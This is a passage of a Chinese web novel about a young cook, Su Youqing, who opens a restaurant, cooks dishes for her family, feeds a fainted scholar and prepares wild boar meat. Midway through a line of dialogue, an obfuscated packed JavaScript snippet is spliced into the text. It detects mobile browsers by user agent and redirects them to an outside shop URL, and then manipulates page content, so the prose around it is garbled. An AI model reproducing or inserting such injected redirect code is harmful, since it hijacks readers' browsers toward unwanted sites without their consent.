一番纠结后，苏有青终于做了定夺：“那便叫这个吧。我明日便找木材店去做招牌。” 要打点的事太多，她本就忙得晕头转向，稍后还需去趟城郊庄上聊收菜一事，便不愿再在这种琐碎事上多费心思了。 见苏有青站起身，不知是有何事，赵往便没话找话道：“我帮你定下了店名这种大事，你却没甚表示？” “为何是大事？”苏有青不解。 赵往本是胡诌，苏有青如此一问，他只好硬着头皮道：“招牌如人面貌。若食客遇见个趣味些的食肆门头，不正如乍见到俊秀的人，便容易被引走视线。” 听罢，苏有青有些好笑：“这是你平日里被瞧出的经验吗？” 不过她也确实认同这几分道理。虽明明是自己随口提出的词，苏有青还是同这帮忙定下的人道：“那便谢过殿下了。” 到底收了赵往的钱，苏有青捡着好听的说：“为表谢意，我的饭馆往后便也管上你的饭吧。” 赵往轻笑，又摇了摇折扇，似是满意。 苏有青见他这架势也想笑，不知堂堂皇子是缺了哪碗饭。 虽然她的厨艺确实是旁人比不了的。 不再多闲扯，苏有青往门外走去，道：“都这个点了，我还有事要忙。店中留了要做事的小工，殿下自便吧。” 赵往这才记起他也要去同赵鸣炫回话，与苏有青道过别后，便往反向去了。 走出一截路过后，赵往又品出些不对劲，驻足回头望去，只瞧见个已走远的身影。 何谓“他平日里被瞧出的经验”？原来苏姑娘最先注意到他的也是皮面。 赵往啧声，不想苏姑娘也是个俗人。 幸好他确实长得好看。思及此，他又舒畅地迈开步子。 - 木材店手脚很快，没几日就送来了覆着红布的招牌。 包菜正同旁的小工洒扫前屋后院，苏有青窝在柜台后将算盘珠子打得噼啪作响。 她本不太会用算盘，只是忙前忙后的一个多月里各种算账早已上手，现下只觉算这物什比列竖式强多了。 掸至最后一张凳子，包菜道：“这边的桌椅都干净了，也没旁的尚留灰的物件了。往后倒是多了个需掸灰的招牌。” 苏有青不知在算什么，没说话。 包菜又感慨道：“再过两日，这店便要开张了。姑娘竟真开起了一间店，我总觉得不真切呢。” 苏有青停了手上功夫，笑说道：“还不算正式的开业，只是边学边揽客罢了。” “这是何意？不是定好的后日开张吗？”包菜没听明白。 苏有青道：“我总觉还有些生意场上的疏漏，只是空想也想不出，只好先开着店门，少接几桌饭便是。待渐能应付好饭馆的零碎事宜，再将生意做大也不迟。” 话毕，苏有青顿住，又记起了旁的事：“不过另一头倒可以动起来了。食肆眼下已布置得差不多，做红酸果的方子我也已写好。晚些回府便寻两个机灵些的膳房仆役，让她们同快刀一起走一趟梅时庄吧。” - 隔日，苏有青踩着吉时点起鞭炮。撤下招牌上的红布，饭馆便算正式开门迎客。 苏火阳与苏诣尚有各自的事要干，虽有心到场却脱不开身；赵往倒是来探过头，而后也匆匆离开。 虽苏有青从前常常独身行事，自到了姬朝后却总被热热闹闹地围住。今日这开业的冷清场面反叫她有些不习惯了。 好在门口街上仍是喧闹，毕竟饭馆占了处城南大街的街角，隔壁便是那茶铺。 虽不与众多食肆挨在一处，但这头应当也不缺来往食客。原是这店面就在进了南城门后的主街上，虽未必有人奔着吃饭而朝这边来，却容易留住饥肠辘辘的过路人。 苏有青站在饭馆堂屋里，叉着腰看着外头的街景。 这段时间她常来店中盯工，外头的店铺早看了多少遍，现下却兀地多了股亲近的感觉。 “早啊老板。”外头来了道敞亮 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“诶诶，真是谢过老板。”一人连声感谢，另一人俯身算起了账，“还有这荸荠与板栗，都是秋日里常吃的果子。我们这两日才摘来的野果，是赠予老板的。望老板好生意，也多多照拂我们。” 客套过后，二人空了背篓走出饭馆。 听着菜农闲聊的声响，苏有青心念这嗓门着实是适合吆喝。她或许也得招个嗓门大些的杂役，好帮忙招揽生意。 拐过茶铺，那二位菜农却也压低了声音。 一人道：“竟真卖出去了，有点东西啊老张。” 另一人挑眉：“那是，也不看看我是谁。” 苏有青听到的只是街上的人声。没再多想招人的事，她拎着菜就去了后院。 虽并未指望第一日便能有几位客人，她却也不得闲，因着错过开张的苏诣与苏火阳午后要来店中一同用饭。 之前在苏府膳房里干活的严巴也在后院。 见苏有青来了，她忙起身，说今早街市的鱼和肉都不错，也不知小姐需要什么，便各买了点。 “那肉铺的老板也是热心，先问我买肉是要做何菜。听闻是新食肆后，那老板又道，若是往后有需可以提前同她说，她直接送上门便是。”严巴道。 苏有青点头：“确实是好法子，只是不知这家肉铺品质如何，不好轻易就定下。” 严巴也称是，又问道：“小姐今日打算备下哪些菜？” 苏有青对饭馆的招牌菜尚没个细致想法，盘算着眼下任食客点菜，再留下京城人爱吃的几道充作招牌。 今日同家人的饭菜倒是有了眉目。望着严巴拎起的鳜鱼，苏有青突然记起了几月前说过的一事。 蹲身翻过菜农送来的一篓蔬菜野果，再加上她近日生了馋虫的几种滋味，苏有青又想到了几道菜。 京郊庄里种的蔬菜都算常见，倒那两样野果是应季的美味。 她将旁的蔬菜摊开，然后起身道：“严巴，帮我削了荸荠皮，还有这栗子也剥出来。” 30. 第一桌 方开业的食肆，需周全的事是东一榔头西一棒槌。前些日子，苏有青虽为此忙得头昏脑胀，眼下碰上饮食，脑中却又清明了。 挑出想用的食材，她便下意识排出了做菜的先后工序。 苏有青打算将荸荠和鳜鱼做成两道出游时尝过的外乡菜肴，再用板栗做道后世常吃的秋日菜；搭一盘她近日略馋的酸甜口，最后再让严巴炒几个清淡些的素菜便好。 想法既定，苏有青不再闲想，膳房里的锅碗瓢盆也没了休息的功夫。 新膳房头一遭开火，苏有青先将用得上的配料都摆开，应了她平日里的习惯才好用得顺手。 杂役生起火，苏有青往锅中加过几瓢水。 等水沸的功夫里，她先是寻来个小碗，抓进去一把胡椒粒，又拍碎些葱姜放入其中。 严巴忙着削荸荠，苏有青又不放心旁人的手法，干脆自己上手，掰开鳜鱼鱼腹，细细撕洗净当中易留异味的内膜。 往鱼腹中塞进几片葱姜，再找个盘子放好，那头的水也已烧开。 揭了盖，苏有青先是舀些开水倒入方才的小碗中，又取下墙边挂着的蒸笼，将鱼盘放入其中。 任这边的锅烧着，她叹了口气，要面对麻烦事了。 好在厨具都是新的，至少菜刀很利。苏有青憋出个好消息，随即开始苦哈哈地切肉。 方起了做清炖狮子头的念头时，她只顾得上好吃。进膳房忙活过一通，苏有青才记起这地方根本没有能直接将肉制成肉糜的机巧。 严巴今日买了前腿肉，虽没三层五花那般标志，三七分的肥瘦却正是适合做狮子头的。 去了皮，苏有青将大块肉切成肉丁，又寻来另把菜刀，双刀齐下将案板剁得笃笃作响。 她又默默安慰自己，好在这狮子头不适宜将肉切得太碎，否则失了口感还容易吃着发腻。如此一算，手工剁出肉馅也不算太亏。 顺着刀俎的“咚咚”声，严巴拿着盆削好的荸荠进了膳房。 瞧苏有青正忙着，严巴道：“小姐需帮忙吗？” 看了眼白与淡黄间开的盆中，苏有青道：“不用，我这已经快好了。你帮我把蒸笼里的鱼端出来晾着，再去处理一只□□。板栗随便寻个杂役剥就好。” “好嘞。”严巴得令。 用刀身挑起一团肉馅，确认过尚是能吃出肉粒口感，苏有青将肉馅盛入盆中，转而将方送来的荸荠切碎备着。 往肉馅中加些盐，苏有青一手扶盆、一手握着两双筷子，顺着一个方向将肉馅搅和均匀。 起先备下的葱姜胡椒水已泡出香味。苏有青小心翼翼地撇开小碗中的香料，只取些葱姜水倒入盆中，再继续搅和肉馅。 直至肉馅搅得费力，苏有青再继续加些葱姜水。如此三次，一盆肉馅便也多了粘性，成了嫩软不散的口感。 怕肉馅还会发柴，苏有青又往其中加了些红薯粉。搅拌过后，苏有青将先前切好的荸荠碎也加入其中，再次与肉馅拌均匀，狮子头的大体便已完成。 再点出几样用得上的小菜喊杂役去处理，苏有青回想过待做的菜品，又从另个篓子中翻出几朵木耳。 把从家中顺出来的木耳洗净、切成丝备着，再将方才蒸熟、现下已凉了的鳜鱼撕成碎肉瓣，能提前做好的案板功夫便都已完成。 将备菜后胡乱的灶台收拾出条理，苏有青再次吩咐杂役烧火。 以免肉圆会散，清炖狮子头的火不能过大，便要多焖些时候。新一锅水烧开，苏有青让杂役压着点火，又双掌抹油，上手将肉馅团出个拳头大小的圆子。 待水面保持微冒小泡却不滚开的时候，她将那肉圆轻轻放入水中，再将剩余肉馅也搓成如此。 狮子头全进了锅，苏有青这才发现误算了肉馅的分量，加的水有些过多，好在不碍事。 洗过手再来看，她见肉圆表面已微泛白，这才安心盖上锅盖。 下道是苏有青想吃的排骨。 换了头锅灶，她轻车熟路地等着锅中油热。待微有油烟升起，苏有青用铲子将油滑均匀，好叫热油覆过整口锅中。 之后，她将新鲜排骨与姜片倒入锅中。未干的水珠乍进了油锅，油花伴着嗞啦声炸得老高。 苏有青常做菜，并不担心有溅起的油点。这动静反令她听得安心，说明锅里正是合适的油温。 稍作等待，苏有青再将排骨翻了个面，浅黄色换了上来。另面也煎过片刻后，她才挥烧翻炒，将水份炒干。 苏有青是做糖醋排骨的熟手，这会子便懒得另起锅再炒糖色。 她从调料罐里舀出几勺提前敲碎的糖块撒至肉上，继续手上的动作。待糖块化开，排骨同样裹上了一层枣红色。 加勺姬朝家常的酱料顶替苏有青从前常用的酱油，她又沿锅边倒入不少醋爆香。 做完了杂活的严巴恰闻着味儿进了膳房，将鸡块与板栗仁搁到不挡事的台面上。 “小姐在做什么？”她问。 看清来人，苏有青道：“刚好你来了，把那边的热水拿一下。” 热水进锅，又是一阵嗞啦。苏有青一人就将这灶房管得热热闹闹。 记着那股浓烈的醋酸气，严巴委婉道：“我方才闻到好香的醋味呢。” “是啊。”苏有青笑道，“这锅是酸甜口的排骨，正是要多加些醋。方才那些还不够呢。” 严巴恍然大悟：“咱们府上的冬瓜是打东边来的，我听他提过这种糖醋排骨。小姐是打算将这道作为咱们饭馆的招牌吗？京城中确实不常见到这道菜。” 苏有青倒没想这么多，坦诚道：“我还没想好呢。不止城中少见，眼前糖块也不算便宜。若推出这道糖醋排骨，既不知有没有食客买单，也不知价格要如何定下。” 严巴听得很是崇拜：“小姐真是思虑周全。” 苏有青想笑。她本就不是为了试菜而做的糖醋味，只是馋了罢了。 大火咕噜过一阵，苏有青才盖上排骨锅的盖，并叫杂役看着些钟点，抽走几根柴火后再烧不及三刻钟便熄。 一口口锅烧过去，苏有青心念再炒好这锅便终于能歇一会子了。 好在这一道也是她得心应手的家常菜，没什么费心思的花活。 苏有青本不爱吃板栗烧鸡。只是前几月走至一座城池时，那客栈老板说自家特色便是这道菜，又惋惜苏有青去得不是时候，尚没到收获栗子的时节。 今日菜农又刚好送来了栗子，她 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底油入锅，她撒入一把干胡椒，一股冲鼻的辛香气便冒了头。 候胡椒炸香的功夫里，苏有青正细想盘算着，若苏诣与苏火阳还要些时候才得空，她便先不急于勾芡。 然才捞起胡椒渣，外头便传来了动静。苏有青守着锅灶走不开，听着那声响从远到近。 “真是大厨风范了。”苏火阳方瞧见苏有青拿着锅勺的模样便笑说道。 苏诣也调侃：“今日也是有口福了，能吃上一桌妹妹做的好菜。” 同苏诣一般，苏有青也怕被身边话架住，赶忙道：“好了好了，你们快去前面待着，别影响我。马上就能吃饭了。” 嘴上应付着娘亲与姐姐，苏有青手也不带停，将杂役备下的黄花菜与木耳丝丢进锅中，同被胡椒爆过的底油炒得喷香。 让严巴领二人去堂屋坐下，苏有青继续做汤。她本欲转头去拿案台另一边的热水，却又突然记起水加多了的清炖狮子头。 既有现成的高汤，苏有青换了思路，干脆将多的肉汤冲进热锅里。 等汤再度烧开时，她顺手调出碗红薯粉水搁到一边，又将起先撕好的鱼肉碎与豆腐丁放进滚汤中。 都是易熟的食材便无需煮太久。凭着手感撒些盐与胡椒末，苏有青用铲背轻推锅中的汤水，煮过片刻后再将和匀的红薯粉水渐加进其中。 几下功夫，汤水便成了糊羹。 剩余的便都是收尾了。 将鱼糊羹装进汤碗中，上头撒上芫荽碎便成。 又往清炖狮子头的锅中加些盐，苏有青先盛出肉丸，稍留些汤在锅中烫意把鸡毛菜，才连汤带菜地浇至肉丸上。 转到糖醋排骨面前，苏有青揭了盖，锅中还余些汤汁。 翻炒收汁时，苏有青又沿锅边淋了圈醋，待肉汁显了黏稠便出锅装盘，还不忘夹走炖肉时放的姜片。 一通忙完，栗子也已焖煮到软绵的火候，正是熄火的时候。 苏有青掌勺的几道菜皆已出锅摆盘，严巴搭配着炒的几盘小菜也已就绪。 “来人端菜——”苏有青喊道。 31. 第一桌饭（二） 即刻有杂役闻声前来，将菜端至堂屋正中。 苏有青拉着二人在桌边坐下，苏火阳笑说道：“真是大了，这会子都能独当一面地开起食肆了。” 苏诣也打趣：“今儿还是开张的第一日，苏老板要不要说些什么？” 苏有青最怕场面话，讨饶般地岔走话头：“便祝生意兴隆吧，娘与姐姐不是早已送过那金蟾。都快趁热吃，再说说味道如何，我可是要收集意见再做调整的。” 苏火阳便先提了筷，说是闻着味儿就喷香。 苏诣也跟上，道：“京城中似乎不常见这几道菜，有青这是打算推出些新鲜玩意儿？” 苏有青嘿嘿两声：“这还是前几月出行时，我在旁的城池中吃过的几道菜。先前本同娘与姐姐说过的，待我归来就将吃过的做给你们尝尝。只是回京后便一直围着食肆的事打转，直到今日才等到机会做上这么一桌。” “不错呢。”苏火阳轧开一只狮子头，“这肉圆是入口即化，又软又嫩，却又不散。清汤也不寡淡，卖起来应当挺受欢迎。” 苏有青讪笑：“就是做那肉馅有些费劲。” 苏有青盛出两碗鱼糊羹，道：“尝尝这个，我在交耳城中吃过，就是不知口味与交耳的是否有差。现下已入秋，再过过便是冬日了。恰好这鱼羹味辛，天冷后喝着还能暖身，倒是适合推作冬日菜。” 苏诣喝过一口汤羹，道：“是呢，且这鱼羹口感也顺滑，可比吃那连刺的鱼肉要快活多了。” 苏有青也夹起块深色排骨，一口脱骨，还是她熟悉的酸甜味。 擦擦嘴边酱汁，苏有青记着严巴的话，道：“这糖醋排骨也不错，只是不知京城人是否吃得惯。” 逐盘尝过，苏有青做出的每道菜都得了苏火阳的夸，严巴搭着炒出的几碟菜也过了关。 三人吃得畅快，苏有青还比平日里多添了一口饭。 大快朵颐之时，店外突然传来一阵喧哗。 与同桌人对视过一眼，苏有青赶忙放下碗筷出去看。 “这位客官是怎么了？”外头有人喊道。 循声看去，饭馆隔壁的茶铺门口围了一圈人。苏有青伸头想看个明白，发现当中竟躺着个双眼紧闭的人。 周遭路人一直在唤那人，却得不到个回应；还有人蹲在他身边，连摇带拍地想叫醒他。 苏有青赶忙拨开人群喊道：“都快散开！这人晕了更需透气，都围在这里怎么成！” 回头看到饭馆中的几人也已跟着她出来，苏有青匆匆吩咐：“包菜，快就近找个医馆，去寻大夫来。” 苏有青还是第一次遇到这般晕倒的路人，一时也摸不清情况，连问旁边人方才是生了何事。 热心人你一言我一语，三两句里就猜出了八百种病症。 好在茶铺老板也在场，同苏有青细细解释道：“他到我的店中要了壶茶水。结果话刚说完，人便突然瘫倒在地。可这人瞧着本不像是有疾的，无非是声音听起来有些虚弱罢了。” 苏有青点点头，看到那人的粗布衣服上尚打着补丁，心中便生出个猜测，估摸着不是什么大事。 茶铺老板将那人扶起，好叫他在茶铺与饭馆当中的门框上靠着，也能舒服些。 方才驻足的人们已有离开的，也有仍留在此地想看个明白的。 苏有青同茶铺老板闲聊了两句生意，正好等着包菜寻医师过来。 笑说着今日尚颗粒无收，苏有青侧身一瞥，竟瞧见那人已睁了眼，正茫然地看向二位老板。 “你怎么样了？”苏有青问。 “我......” “小姐，我回来了。” 男人方吐出一个音，包菜便带着医师过来了。 她还同苏有青道：“真是巧了呢，这条街上便有个医馆，医师又刚好得了空。” “好了好了。”苏有青眼下不欲多说旁的，又同医师道，“这人突然便晕在路上，还请大夫帮忙瞧瞧。” 男人忙挣扎着想起身：“不必，我不必看大夫。” 医师一眼便看明白了这意思，搭住他的胳膊道：“无妨，我先看看。未必就需抓药，只是问病也不收你的钱。” 号过脉，医师道：“并不大碍，只是有些气虚。你可否记得晕前身上有哪里不适？” 男人似已无恙，虽声音仍轻，说出的话却是有条理的：“我先是同老板讨茶，随即眼前便突然发了白，又使不出力、站不稳脚。再睁眼时，我便在这里坐着了。” 医师已望闻问切出了结果：“无事，只是身子虚罢了。确实不必抓药，只要平日里多吃些东西便好。” 茶铺老板端来茶水，几口下去后，男人的气总算顺了：“多谢大夫。” 客气过两句，医师便背着箱子回医馆坐镇了。 听到那医师的话，苏有青同男人道：“来我的饭馆中吃个便饭吧，就是你背后的这间。刚好菜也是做多了，没个生意也是浪费。” 记着医师的语气，她继续道：“你虽是帮我们解决多出的饭菜，但我可不是什么另付你工钱的好心人。” 男人闻言失笑，又斯斯文文地起身做了个长揖：“谢过老板了。” - 堂屋中，杂役已从包菜那里得了令，又摆出几碟菜与馍。 怕他被人盯着会局促，苏有青同苏诣与苏火阳在屋外说着话。二人离开后，苏有青再进堂屋，见他似是已吃得差不多。 苏有青便拉开那人对面的板凳坐下，道：“不知如何称呼？” 男人道：“在下胡角。” 胡角没多说旁的，苏有青便也不问，又道：“我的小店今日才第一天开张，你算是第一桌客。不知我们食肆的菜品是否合你的胃口？” 胡角道：“色香味俱全的嘉肴。” 话毕，他又面露难色：“在下今日未带够银两出行，不知老板的店中可否挂账？或者我做些小工抵钱亦可。” “不必。”豪气老板苏有青大手一挥道，“我这店本就不收百姓的钱。若下次还想吃，再来店中就是。” 胡角愕然：“老板怎做这赔本的买卖？” 苏有青察觉这是个能宣传小店的时宜，便详尽说起了饭馆：“不至于赔 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恐解释的话要不中听，她只好道：“你还挺聪明，知道人后才问话。” - 后几日里，饭馆渐接待过几桌饭菜。 人不多，菜色都是好评，却又没太多回头客。 苏有青不知要如何将小店推广出去，便同送菜的老张说起此事。 她倒无需靠这食肆赚钱，只是等梅时庄的消息之余找点事做，便想让不常进酒楼的人来尝尝。 说来也巧，胡角同老张竟是一个庄上的人。 老张道：“胡角也知道的，我同庄里人都说过，这边有个物美价廉的好食肆。只是旁人不太信，总怕京中人要使诈，只好互相等旁人吃过再说。” 苏有青暗念，或需找个法子叫人知道她的诚意，尤其是京郊与京城中不常上街的人。 正愁着推不开饭馆的名号，能派上用场的机会便送上门来了。 这日送过菜后，不同于平日里的攀扯，老张忽地问苏有青：“老板收猪肉吗？” 苏有青听着稀奇：“收猪肉？你们庄里如今开始养猪了吗？” 老张道：“不然。是庄里人无意猎到了一头猪，却无人会做，便让我来问问老板。” “那可以，你便按市价算吧。我就让肉铺那边不留我们店明日的份了。”因着老张与胡角的缘故，苏有青对京郊庄子的印象不错，便来者不拒。 一向不多言语的胡角却插了话：“那是野猪，不是肉铺里常见的肉猪，似乎不太适宜吃。” 闻言，老张面上露了尴尬：“既不合适，那便算了。” 苏有青先是愣了片刻，见老张这般反应，便坚持道：“没事，你也送来。我虽未做过野猪，但菜式同农家肉猪应当差不多。只要是能吃的肉，我便都能试试。” “好好，谢谢老板。”老张乐得直点头。 目送着老张走远，再一抬头，苏有青瞧见胡角满脸的难言。 32. 野猪肉（一） 直至次日早上，苏有青才读懂了胡角的表情。 其实她前一日里同老张所言的并非吹嘘。从前做美食博主时，苏有青碰上什么稀罕食材都不带怵。只需按过往的经验与直觉，她便能做出一道好菜。 虽不少人都说做菜最忌灵机一动，然而苏有青每次动起灵机，都能得到意料之中的更佳的口味。 说到底，她觉得食材与调料间的交道都是相通的。因此，苏有青一向认定她没有不会做的食材，顶多是没尝试做过罢了。 但自信如苏有青也无法提前料到，面前那一摊异臭之物竟是块能入口的肉。 毕竟后世的管控已收紧很久，她并未真切地接触过野味，更不知晓生肉竟有这般腥臭冲鼻。 饭馆的后院里，苏有青被那搁在地上的异味唬住半晌，生了些犹豫。 老张却笑嘻嘻地开了口：“将这半扇猪扛来可真不容易呢。我特意割来上身的精肉，不要那难做的蹄子，还提前去了皮，不叫老板白费钱。我也不要多的，便按肉铺价格的十分之一如何？” 话已经说到这步，苏有青不好再回绝，只好硬着头皮问道：“这些肉块有多少斤？” - 老张拿了钱，美滋滋地走了。 苏有青不想蹲得太近，只好捏着鼻子，俯身观察。 野猪肉已被分成几大块，不知肥肉是不是被连皮割去，送来的尽是颜色极深的红肉。 若非气味陌生，苏有青乍见倒要以为这姬朝竟吃牛肉。 直起身，她唤杂役去抬个大盆来。 既已送来，那便试试吧。苏有青想。 她又喊来几个杂使，叫人将肉块再切小些，而后通通放进那大盆中。 严巴一眼便瞧明白了她的意思，拎来了一桶水。 后院忙活起来时，这几日里本只待在堂前的胡角也难得来了后院。 苏有青分不出眼神给他，只示意严巴将水倒进盆中。 严巴手上照做，嘴上又道：“这气味也太浓，恐怕换上三四次水都除不尽味儿呢。” “先这样吧，稍后我也还有旁的招。”苏有青道。 见状，胡角正色道：“或我去同老张说清楚，叫他退钱便是。这野猪本是无意闯进庄里，他怕自家的鸡被野兽吞了，才同左邻右舍合力刺死的。没花钱的臭肉也好意思卖，那老张实在是厚脸皮。” “不必，我能做成，你信我。”苏有青这会子已有了新的念头。 她心中有数，庖厨之外，这或许能是个打开饭馆名气的好时候。 且让野猪肉在这里泡着，苏有青同严巴道：“你注意着些，约莫半个时辰便换一次水。我出门一趟。” 她记着附近有间酒铺，便想去看看可有能用得上的。 方从后院跨进堂屋，苏有青便瞧隔壁茶铺的老板正往饭馆里探头。 见苏有青出来，老板又赶忙撇开视线，待苏有青走到身边才招呼道：“今日这太阳可真好，晒得人暖洋洋的。” 苏有青好笑：“尚是秋老虎的时候，还需再晒暖些吗。” 老板不装了，好奇发问：“你们店里做什么呢，一股味儿。” 苏有青也是百般嫌弃：“一言难尽......还请老板担待着些，过会儿应当就散了。” 茶铺老板摆了摆手：“没事，我也就随便问问，我们店中是闻不到太多的。” 随即，老板又压低了声音：“不过店中几个小二做了赌，赌这气味是否是茅房没及时挑。我却不太信，虽都是臭味却也有差，故便来问问你。” 苏有青啼笑皆非：“当然不是。” 一番打岔过后，苏有青终于寻到了酒铺。凭着嗅觉，她挑了两款散酒，准备晚些时候用上。 酒铺的道：“客官好鼻子，这都是咱们店里最香的烧酒与黄酒，度数又不高，便也不算贵。” 念着肉量，苏有青各要了一斤，酒铺的喜笑颜开地送她出了门。 一手一坛酒地回饭馆时，屋前的腥臭味已散去不少。如苏有青同茶铺老板说的没差，正泡着水的野猪气要比刚送来时的好多了。 再到午膳时，店里还来了两桌客。苏有青心下暗念，幸好那野猪不至于将客人熏走。 - 午时过后，店里终于没了生人。 苏有青这会子才有功夫展开压在算盘下的一封信，是方才有人捎来的。 许是怕被偷看了信件，快刀在纸上并未多言，只说“她已应下，进展顺利，择日返程。”。 苏有青挑眉，边叠纸条边往后厨走去，欲将这只言片语塞进灶口里烧了。 严巴也正要来堂前找苏有青，二人便直接打了个照面：“小姐，那猪肉已换过三次水，第四次也已泡够了半个时辰。接下来要做什么？” “你先把水倒了，我马上就来。”苏有青先行进了膳房，将那纸团扔进灶门口，又新拍了些姜块。 膳房中挑挑拣拣，苏有青又抓起一把胡椒与两团葱结，放进盛姜块的盘中。 这一盆血水的颜色已比第一盆浅了太多。严巴方将水倒干，便瞧苏有青一手端盘、一手拎个酒坛来了院中。 苏有青将盘中物尽数倒进盆中，随即便蹲下身，踌躇片刻后还是伸手将干料与肉块拌匀。 严巴不解：“凑近后尚能闻到些余味，小姐怎的这就腌制上了？” 苏有青示意她倒些烧酒进盆，又道：“我本就不是想让它入味，而是想让味道跑出来。” “那用酒便可以吗？”严巴道。 “不知道，试试吧。”苏有青在每块肉上都抹匀烧酒，“再倒点。” 苏有青依稀记得，她曾用白酒处理过某种不便飞水的冻肉，最终吃起来也没什么异味。也不知用这招对付野猪肉是否管用。 肉块已揉得差不多，苏有青深吸一口气便要站起身。不想用力过猛，盆中交杂的气味一股脑地撞进了她的鼻中。 烧酒本有股粮食香，如今却被野猪的腥臭气拉了后腿，混合的味道更是难言。 再者，苏有青怕酒少了要带不走肉本身的异味，便吩咐严巴往里加了不少烧酒。再如此一闻，她直接从鼻腔里尝出了酒精味。 好在尝到的不是生肉味，苏有青想。 她边洗手边回忆今日之事的开端。打上第三遍皂荚时，苏有青默念，这头猪可千万要对得住她的这番折腾。 又半个时辰过去，苏有青用筷子戳起酒渍过的肉块，先在清水中漂洗过，再将它们放进锅中。量不算少，她便分了两锅放。 杂役自觉坐去灶口前点火，苏有青见了便叮嘱道：“火尽量小些，让它慢慢烧着。” 能用得上的去味料通通来上一把，她又往两边锅中加满凉水，再都倒了好几圈黄酒。 听罢苏有青的话，又见她已停了手，严巴便欲来盖上锅盖，说这样尽管是小火也能烧得快些。 苏有青赶忙拦她：“千万别盖。” 严巴疑惑：“那这锅清炖肉要炖到何时？” 苏有青道：“早着呢。且这也不算炖，我是想把肉里头的血水先煮出来，而后才正经烧制。” “小姐当真有想法。”思索过后，严巴似懂非懂，“我还是头一次见这样煮肉的，从前只见过旁人在滚锅里汆烫蔬菜。” 盯着小火的杂役顺口接话：“那肉块为何不用沸水，而是这般慢煮？” 苏有青说起膳房事向来是一套一套的，忽地被烧火杂役一问反倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17439640|198329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卡了壳，只好胡乱道：“许是，许是慢些煮能将里头的异物逼得更干净，反正猪肉也不怕老了火。” 待水渐热，锅中浮起了零散的细沫，膳房里也飘满了异味。 虽闻着难耐，严巴还是叹服：“气味竟比烧火前更浓。果然如小姐所言，这法子能煮出肉块里剩余的血水呢。” - 总算等到水开，苏有青拿起筷子，又唤严巴另打盆热水来。 笊篱孔大，苏有青干脆不捞浮沫，直接朝正翻着泡的水里伸筷，夹起肉块放进盆中。 往后的工序苏有青早便习惯，手比脑动得更快。待盆中水温稍凉，她游刃有余地洗过肉块，又改刀切小、放至另个干净篓中。 严巴本在边上旁观，看得生出了不少问，却又不想再打扰小姐，只好默默打扫了锅中的脏水。 不过这般忙活过后，严巴也已瞧明白，接下来便能将这野猪肉当作普通肉猪，直接红烧就是。 苏有青却比严巴多想了一道，瞧着野猪没什么肥膘，便在猪肉下锅前额外舀了些猪油，吃起来好更香些。 申时，苏有青放下锅铲任那两锅肉炖着，准备去堂前歇会儿。 堂屋里，胡角不知从何处摸出本书，正坐在板凳上看得入迷。 直至苏有青从身边走过，他才反应过来：“东家。” “坐着坐着。”苏有青摆手，“你看你的便是，这会子也没什么要忙的。” 胡角却不干，薄册一折便塞进了袖口，又给苏有青端来壶茶。 苏有青语塞，喝尽胡角满上的茶盏，随即笑说道：“怎样，现下那野猪闻起来还臭吗？” 胡角垂头：“堂前能闻到的已全是酱香味了，东家厉害。” 见他似有未尽之言，苏有青问：“怎还憋着话不说。你尽管点评，我也好从中多得些经验。” 犹豫再三，胡角闭了眼：“东家手艺高超，在下斗胆，想问问东家可愿收徒？” 苏有青听得奇怪：“收谁？” “我。”再睁眼，胡角一脸郑重。 苏有青不解：“可你看起来并不像厨司。” 胡角黯然：“我确实没什么天赋。” “不是这个意思。”苏有青认真解释道，“你瞧着便像个书生，似是也喜欢读书，为何突然想学做菜？” “东家好眼力。”胡角作了个揖，“在下确实自幼爱读书，只是读书却无法果腹。” 胡角说，他祖辈本是庄里有名的夫子。许多年前，京中甚至有人家特意送孩子入京郊他家私塾念书。 私塾越做越大，他家祖辈便不再打理田地，专心教书，靠着学生的束脩攒下了不少家产。然而后来，时运却变了。 再到胡角的父亲胡夫子时，胡家私塾落寞，家底只剩薄薄一层，早年的田地也不知被谁占去，只得整修开垦旁人都不要的荒地。 日子就这么胡乱过，胡角能念住多年的穷苦书，全靠股惦念吊着。 他牢记初开蒙时，父亲告诫他要好好背书、勤于作文，长大后便能以此科考入仕。 然而往后的快二十年里，胡角追问过多次何时能去科考，胡夫子却闭口不谈了。 胡角便来京城中打听，旁人却说，那胡夫子可真是个老古董，科考都是多少年前的事了。 告知他此事的好心人还说，科考早就成了场面活，贵家子才得参加；如今城中时兴、也是今上最青睐的，是走厨司的路子入仕。 “故便念着学些庖厨功夫，就算谋不到一官半职，也能靠手艺吃饭。”胡角道。 苏有青觉出几分荒谬，正要脱口而出一句反问，却又记起似乎是有这么一档子事。 还是从苏家的过往里忆起的。 33. 野猪肉（二） 苏有青知道的那些零碎旧事，都是从祖母处听来的。 苏家多出御厨，代代传承下来已积攒了不少声名。但起初，祖辈们虽名头不小，却也只是个厉害些的厨司而已。 至于宫中庖厨能走上仕官之路，那都是今上登基后的事了。 京城中有传言道，今上头一个想提携的厨司，是至今仍留在御膳房中的苏御厨苏火阳。 那时，皇帝将好话说得圆满，说要为苏火阳新增“御前司仪”一职，殿前统管宫女侍卫，殿外仍然指点膳房厨司。 旁人羡煞不已。能从无品无阶的厨司直接去君侧相伴，苏火阳将有的是明眼人都能瞧出的膨胀权力，俸禄或也能丰厚不少。当时膳房众人常调侃苏火阳，说当上司仪后可得照应着些大家。 彼时苏火阳跟共事的打起哈哈，去御前面圣时却拒绝了。 不知为何，苏火阳同陛下回话，说她无力胜任司仪一职。 苏火阳还道，她并非推诿，只是近来急于成婚，恐怕要分些精力到家常日子里去，怕是会做不好御前的分内事。 话传回御膳房后，众人听得稀里糊涂，心念未曾听闻苏火阳提起半点定亲之事，也从没提过有心上人，怎的突然就说要成婚。 结果当月的吉日里，苏火阳真的成亲了。 而宽仁如今上，虽被苏火阳直言拒绝，却也只是佯装说了几句斥责话。而后，皇帝不仅给苏火阳封了份新婚的赏赐，还将她提点为建朝以来最年轻的御厨之首。 